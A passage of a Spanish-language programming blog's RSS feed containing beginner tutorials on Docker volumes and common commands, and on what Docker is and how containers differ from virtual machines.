style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;CreatedAt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;2020-10-05T21:16:44-05:00&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Driver&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;local&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Labels&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;{}&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Mountpoint&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/var/lib/docker/volumes/nombre_del_volumen/_data&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;nombre_del_volumen&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Options&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;{}&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Scope&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;local&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;listar-volumenes&#34;&gt;Listar volúmenes&lt;/h3&gt;&#xA;&lt;p&gt;Para listar todos los volúmenes disponibles usaremos el comando &lt;em&gt;docker volume ls.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker volume ls&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DRIVER              VOLUME NAME&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;local&lt;/span&gt;               &amp;lt;nombre_del_volumen&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;montar-volumenes-en-docker&#34;&gt;Montar volúmenes en Docker&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;Para montar un volumen, que hemos creado previamente&lt;/strong&gt;, en un contenedor usamos la opción &lt;em&gt;--mount&lt;/em&gt;, seguido del nombre del volumen (src) y de su destino en el contenedor (dst), separados por una coma&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run -d --name db --mount &lt;span style=&#34;color:#ff5c57&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&amp;lt;nombre_del_volumen&amp;gt;,dst&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/data/db mongo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;borrar-volumenes&#34;&gt;Borrar volúmenes&lt;/h3&gt;&#xA;&lt;p&gt;Para borrar un volumen usamos el comando &lt;em&gt;docker volume rm&lt;/em&gt;. Sin embargo, &lt;strong&gt;no podemos borrar un volumen que esté en uso por un contenedor,&lt;/strong&gt; por lo que es necesario detener y borrar primero su contenedor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker volume rm &amp;lt;nombre_del_volumen&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;limpiar-volumenes&#34;&gt;Limpiar volúmenes&lt;/h3&gt;&#xA;&lt;p&gt;Si tenemos volúmenes que no están asociados a ningún contenedor podemos deshacernos de todos ellos con un único comando: &lt;em&gt;docker volume prune.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker volume prune&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;WARNING! This will remove all &lt;span style=&#34;color:#ff5c57&#34;&gt;local&lt;/span&gt; volumes not used by at least one container.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Are you sure you want to &lt;span style=&#34;color:#ff6ac1&#34;&gt;continue&lt;/span&gt;? &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;y/N&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; y&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;volumenes-conectados&#34;&gt;Volúmenes conectados&lt;/h3&gt;&#xA;&lt;p&gt;Si queremos que una carpeta de nuestro sistema se sincronice con una carpeta de nuestro contenedor podemos hacerlo también usando volúmenes. En lugar de especificar el nombre del volumen usamos la dirección de la carpeta a sincronizar. A diferencia de los volúmenes que gestionaba Docker, que requerían permisos root aquí nosotros decidimos la carpeta que usará Docker como volumen, por lo que, si tenemos los permisos adecuados, seremos capaces de modificar, crear o leer archivos con nuestro usuario actual.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Cualquier cambio que hagamos en nuestro contenedor o en nuestra máquina va a verse reflejado en ambos.&lt;/strong&gt; Es decir que si creamos o modificamos un archivo, este va a aparecer tanto en nuestro sistema, como dentro del contenedor.&lt;/p&gt;&#xA;&lt;p&gt;El siguiente ejemplo crea un contenedor llamado mongoDB (&lt;em&gt;--name mongoDB&lt;/em&gt;), en modo detach (&lt;em&gt;-d&lt;/em&gt;). La opción &lt;em&gt;-v&lt;/em&gt; va a vincular la carpeta especificada antes de los dos puntos, con el directorio del contenedor que especifiquemos después de los dos puntos. Al final va el nombre de nuestra imagen, en este caso nuestra base de datos No-sql llamada mongo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run --name mongoDB -d -v /home/usuario/basesDeDatos/miBaseDeDatosEnMongo:/data/db mongo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si queremos que el volumen sea de solo lectura bastará con agregar &amp;ldquo;&lt;em&gt;:ro&lt;/em&gt;&amp;rdquo; al final de nuestra sintaxis.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker run --name mongoDB -d -v /Users/usuario/Dev/database:/data/db:ro mongo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Listo, con esto basta para tener una idea básica de los volúmenes.&lt;/p&gt;&#xA;&lt;p&gt;Pero teclear los comandos uno a uno es engorroso, y no puedes (ni debes) guardar esos comandos en un sistema de control de versiones, por qué no escribir algo más portable y cómodo, bueno, para eso puedes &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/como-escribir-un-archivo-de-dockerfile-desde-cero/&#34;&gt;aprender a escribir un Dockerfiles.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;comandos-de-docker-utiles&#34;&gt;Comandos de docker útiles&lt;/h2&gt;&#xA;&lt;p&gt;Encontrar el archivo &lt;em&gt;docker-compose.yml&lt;/em&gt; que ejecuta un contenedor&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker inspect &amp;lt;container_id&amp;gt; | grep com.docker.compose&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Detener todos los contenedores&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker stop &lt;span style=&#34;color:#ff6ac1&#34;&gt;$(&lt;/span&gt;docker ps -a -q&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este tutorial cubrió solo lo básico sobre Docker. A continuación hablaré sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/docker-compose-tutorial-con-comandos-en-gnu-linux/&#34;&gt;docker compose, la herramienta de gestión de contenedores de Docker&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Si te leíste la entrada anterior donde explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/que-es-docker-y-para-que-sirve/&#34;&gt;para que sirve Docker&lt;/a&gt;&#xA; ya debes tener una idea bastante simple de Docker, pero no he publicado nada acerca de los comandos. Aquí te explico los comandos de Docker más comunes, el uso de volúmenes y la creación de un Dockerfile de ejemplo.&lt;/p&gt;&#xA;&lt;h2 id=&#34;las-imagenes-y-los-contenedores-son-diferentes&#34;&gt;Las imágenes y los contenedores son diferentes&lt;/h2&gt;&#xA;&lt;p&gt;Antes de empezar hay que aclarar que en Docker trabajamos con contenedores que son creados a partir de imágenes. Una imagen es como una plantilla de solo lectura, mientras que el contenedor es la materialización de esa plantilla, se podría decir que es una imagen instanciada o en ejecución.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Qué es Docker y para que sirve?</title>
      <link>https://coffeebytes.dev/es/docker/que-es-docker-y-para-que-sirve/</link>
      <pubDate>Tue, 29 Sep 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/docker/que-es-docker-y-para-que-sirve/</guid>
      
      <category>docker</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Si llevas usando computadoras desde hace tiempo, probablemente te encuentres más familiarizado con una máquina virtual que con un contenedor, ¿no es así? Docker resuelve el mismo problema que las máquinas virtuales pero de una manera diferente a estas últimas. Pero vamos por partes, empecemos por responder que es Docker y para que sirve en palabras más simples.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-es-docker&#34;&gt;¿Qué es Docker?&lt;/h2&gt;&#xA;&lt;p&gt;Docker es una herramienta que permite empaquetar una aplicación y sus dependencias en un contenedor muy ligero. Es como si tomaras una aplicación completa con absolutamente todo lo que necesita para funcionar para poder transportarla sin problema a cualquier otro servidor con Docker instalado, ya sea para seguir desarrollándola o para hacer deploy. ¿Y? ¿es todo? ¿transportar código? De seguro me dirás que eso ya lo hacen las máquinas virtuales, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/por-que-deberias-usar-un-entorno-virtual-en-python/&#34;&gt;los entornos virtuales&lt;/a&gt;&#xA;, los archivos zip y prácticamente cualquier herramienta. Bueno sí, pero voy a intentar explicar de manera sencilla que problemática hay.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;para-que-sirve-docker&#34;&gt;¿Para qué sirve Docker?&lt;/h2&gt;&#xA;&lt;p&gt;Con el propósito de explicar para que sirve Docker vamos a crear un hipotético equipo multifacético y multidisciplinario.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Manolo: usa windows porque le gusta la facilidad con que se hace todo.&lt;/li&gt;&#xA;&lt;li&gt;Sofia: prefiere iOS por que es más elegante e intuitivo&lt;/li&gt;&#xA;&lt;li&gt;Ricardo: le entusiasma GNU/Linux porque puede personalizarlo a su antojo&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Cada que uno de los integrantes de nuestro hipotético equipo instala un paquete lo hará desde un sistema operativo diferente. Es más, hay dependencias que pueden no estar disponibles en alguno de los sistemas operativos. Al final, cuando unifiquen el proyecto, pueden surgir problemas de compatibilidad por las diferencias entre sistemas operativos.&lt;/p&gt;&#xA;&lt;p&gt;Manolo, Sofia y Ricardo saben esto, por esta razón nuestro equipo acuerda usar el mismo sistema operativo; GNU/Linux en su distribución Ubuntu.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Manolo, usa una live usb para correr la versión más nueva de Ubuntu en su pc.&lt;/li&gt;&#xA;&lt;li&gt;Sofia instala ubuntu desde una copia en CD que tenía guardada en un cajón de su escritorio.&lt;/li&gt;&#xA;&lt;li&gt;Ricardo, por su parte, mantiene su sistema operativo tal cual estaba en un principio.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Aunque ambos estén usando la misma distribución, no es exactamente el mismo sistema operativo. ¿Notas lo que puede salir mal aquí? Exactamente, hay diferentes versiones de un mismo sistema operativo, así como el kernel sobre el cual se ejecutan, y probablemente cada versión del Kernel tenga diferentes paquetes, con sus respectivas versiones, en sus repositorios, además de la configuración personalizada que pueda tener cada usuario o proveedor de hosting en sus sistemas.&lt;/p&gt;&#xA;&lt;p&gt;Ahora considera este segundo caso, en el que necesitas combinar dos softwares, por ejemplo un framework y una base de datos, pero las versiones que necesitas combinar no funcionan con la misma versión del Kernel de Linux. Simplemente no podrías usarlos en el mismo ordenador, pero con los containers puedes tener cada aplicación en su propio SO.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Lo anterior no significa necesariamente que si montamos un proyecto en un servidor sin usar Docker todo vaya a salir mal, pero introduce una variabilidad que podría evitarse si todos usaran&lt;/strong&gt; &lt;strong&gt;exactamente la misma versión del sistema operativo.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;docker-usa-contenedores-no-maquinas-virtuales&#34;&gt;Docker usa contenedores, no máquinas virtuales.&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Docker nos permite correr nuestras aplicaciones en contenedores&lt;/strong&gt;, cada una con su propia función, sistema operativo y recursos. De seguro ahora estás pensando: ¿un contenedor es cómo una máquina virtual? ¿no? ¿por qué no usar máquinas virtuales entonces? Pues sí, los contenedores son una forma de virtualización y funcionan de manera similar a una máquina virtual, pero técnicamente no son iguales.&lt;/p&gt;&#xA;&lt;p&gt;Para evitar caer en las viles manos de los puristas de las ciencias de la computación citaré las diferencias entre máquina virtual y contenedor tal cual están en la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.docker.com/resources/what-container&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;página oficial de Docker&lt;/a&gt;&#xA;, y me encomendaré al buen conocimiento de sus redactores:&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;diferencias-entre-contenedores-y-maquinas-virtuales&#34;&gt;Diferencias entre contenedores y máquinas virtuales&lt;/h2&gt;&#xA;&lt;h3 id=&#34;definicion-de-contenedor&#34;&gt;Definición de Contenedor&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Los contenedores son una abstracción en la capa de aplicación que empaqueta el código y sus dependencias. Múltiples contenedores pueden correr en la misma máquina y compartir el kernel del sistema operativo con otros contenedores, cada uno corriendo como un proceso aislado en el entorno del usuario. Los contenedores ocupan menos espacio que las VMs (las imágenes de los contenedores típicamente tienen tamaños de decenas de MB), pueden manejar más aplicaciones y requieren menos VMs y sistemas operativos.&lt;/p&gt;&#xA;&lt;p&gt;What is a Container? (n.d.). Retrieved September 23, 2020, from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.docker.com/resources/what-container&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://www.docker.com/resources/what-container&lt;/a&gt;&#xA;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;Lo que debes recordar acerca de los contenedores es que &lt;strong&gt;son muy ligeros, se encuentran aislados y virtualizan el funcionamiento de un sistema operativo.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Si quieres conocer como funciona, a nivel código, un contenedor, te adelanto que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/container-de-docker-con-namespaces-y-cgroups/&#34;&gt;un container es un proceso que echa mano de los namespaces, cgroups de linux y el comando chroot&lt;/a&gt;&#xA; para aislar un grupo de procesos en linux, limitar los recursos del sistema operativo que pueden usar y tener su propio sistema de archivos, respectivamente.&lt;/p&gt;&#xA;&lt;h3 id=&#34;definicion-de-maquina-virtual&#34;&gt;Definición de Máquina virtual&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Las máquinas virtuales (VM en singular o VMs en plural) son una abstracción del hardware físico que convierten un servidor en muchos servidores. El monitor de las VMs permite que múltiples máquinas virtuales corran en una única máquina. Cada VM incluye una copia completa de un sistema operativo, la aplicación, librerías y binarios necesarios - tomando decenas de GB. Las VMs también pueden ser lentas de arrancar.&lt;/p&gt;&#xA;&lt;p&gt;What is a Container? (n.d.). Retrieved September 23, 2020, from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.docker.com/resources/what-container&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://www.docker.com/resources/what-container&lt;/a&gt;&#xA;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;Lo importante a recordar de las máquinas virtuales es que, en comparación con los contenedores, &lt;strong&gt;ocupan mucho espacio y, como deben cargar un sistema operativo completo, pueden demorar mucho más tiempo en arrancar&lt;/strong&gt; y, a diferencia de los contenedores, &lt;strong&gt;virtualizan el funcionamiento de la parte del hardware.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/docker/what-is-docker-and-what-is-it-for/images/Diferencias-entre-maquina-virtual-y-docker.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/docker/what-is-docker-and-what-is-it-for/images/Diferencias-entre-maquina-virtual-y-docker.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Diferencias entre una máquina virtual y docker&#34; width=&#34;748&#34; height=&#34;500&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Diferencias entre máquinas virtuales y contenedores&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;En la primera imagen podemos apreciar que, en el caso de los contenedores, las aplicaciones interaccionan directamente con Docker, y este, a su vez, con el sistema operativo.&lt;/p&gt;&#xA;&lt;p&gt;En la segunda imagen tenemos varias aplicaciones, &lt;strong&gt;cada aplicación corriendo sobre su propio sistema operativo&lt;/strong&gt;, así es, tres sistemas operativos completos monopolizando recursos, ¿no suena bastante ineficiente? Bajo esas máquinas virtuales, el software encargado de crearlas y ejecutarlas (Hypervisor) interacciona con el sistema operativo.&lt;/p&gt;&#xA;&lt;p&gt;Además de las diferencias en la estructura, Docker lleva a cabo optimizaciones a la hora de ejecutarse, como usar un solo sistema operativo si múltiples contenedores lo usan, para no repetir información.&lt;/p&gt;&#xA;&lt;h2 id=&#34;las-dos-versiones-de-docker-community-y-enterprise&#34;&gt;Las dos versiones de Docker: community y enterprise&lt;/h2&gt;&#xA;&lt;p&gt;También es importante hacer notar que, como es común en los modelos Freemium, &lt;strong&gt;existen dos versiones de Docker:&lt;/strong&gt; la versión de la comunidad, llamada Docker CE (community edition), de código abierto y la versión Docker EE (Enterprise Edition), de pago y con funciones adicionales a su contraparte.&lt;/p&gt;&#xA;&lt;h2 id=&#34;no-es-necesario-utilizar-docker-siempre&#34;&gt;No es necesario utilizar Docker siempre&lt;/h2&gt;&#xA;&lt;p&gt;Algo más antes de terminar esta entrada. &lt;strong&gt;Docker es genial, pero no hace falta usarlo en todos los proyectos&lt;/strong&gt;. Los expertos en proyectos suelen afirmar que añadir una capa más de complejidad a un proyecto es algo que debe evaluarse para cada caso en cada particular. Añadir una capa extra de complejidad debe tener un beneficio, o mejor sería no hacerlo.&lt;/p&gt;&#xA;&lt;p&gt;Al final Docker es una herramienta más que debería usarse para solucionar un problema que existe o es probable que llegue a existir. No vas a estar montando páginas estáticas en contenedores de Docker con Apache o NGINX para un proyecto que bien podrías montar directamente en un CDN.&lt;/p&gt;&#xA;&lt;h2 id=&#34;vale-la-pena-usar-docker&#34;&gt;¿Vale la pena usar Docker?&lt;/h2&gt;&#xA;&lt;p&gt;Para fines prácticos, Docker nos va a permitir crear aplicaciones que vamos a poder transportar de un entorno a otro fácilmente, que van a ejecutarse en un contenedores aislados dentro de nuestro sistema operativo y que, además, se &lt;strong&gt;van a comportar exactamente igual en cualquier máquina que cuente con Docker instalado&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Todo lo anterior nos librará del &amp;ldquo;funcionaba perfecto en mi máquina&amp;rdquo; y evitará errores causados por diferencias de entorno o configuración al momento de desarrollo en sistemas muy complejos o que cuentan con muchas partes. Esta estándarización podría ser conveniente para proyectos complejos y grandes, pero podría ser un overkill para un proyecto pequeño, pues agrega otra capa de complejidad al proyecto, por lo que debes considerar los pros y contras antes de implementarlo.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Si llevas usando computadoras desde hace tiempo, probablemente te encuentres más familiarizado con una máquina virtual que con un contenedor, ¿no es así? Docker resuelve el mismo problema que las máquinas virtuales pero de una manera diferente a estas últimas. Pero vamos por partes, empecemos por responder que es Docker y para que sirve en palabras más simples.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-es-docker&#34;&gt;¿Qué es Docker?&lt;/h2&gt;&#xA;&lt;p&gt;Docker es una herramienta que permite empaquetar una aplicación y sus dependencias en un contenedor muy ligero. Es como si tomaras una aplicación completa con absolutamente todo lo que necesita para funcionar para poder transportarla sin problema a cualquier otro servidor con Docker instalado, ya sea para seguir desarrollándola o para hacer deploy. ¿Y? ¿es todo? ¿transportar código? De seguro me dirás que eso ya lo hacen las máquinas virtuales, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/por-que-deberias-usar-un-entorno-virtual-en-python/&#34;&gt;los entornos virtuales&lt;/a&gt;&#xA;, los archivos zip y prácticamente cualquier herramienta. Bueno sí, pero voy a intentar explicar de manera sencilla que problemática hay.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Comprende los tipos de herencia en modelos de Django</title>
      <link>https://coffeebytes.dev/es/django/comprende-los-tipos-de-herencia-en-modelos-de-django/</link>
      <pubDate>Mon, 21 Sep 2020 00:00:00 +0000</pubDate>
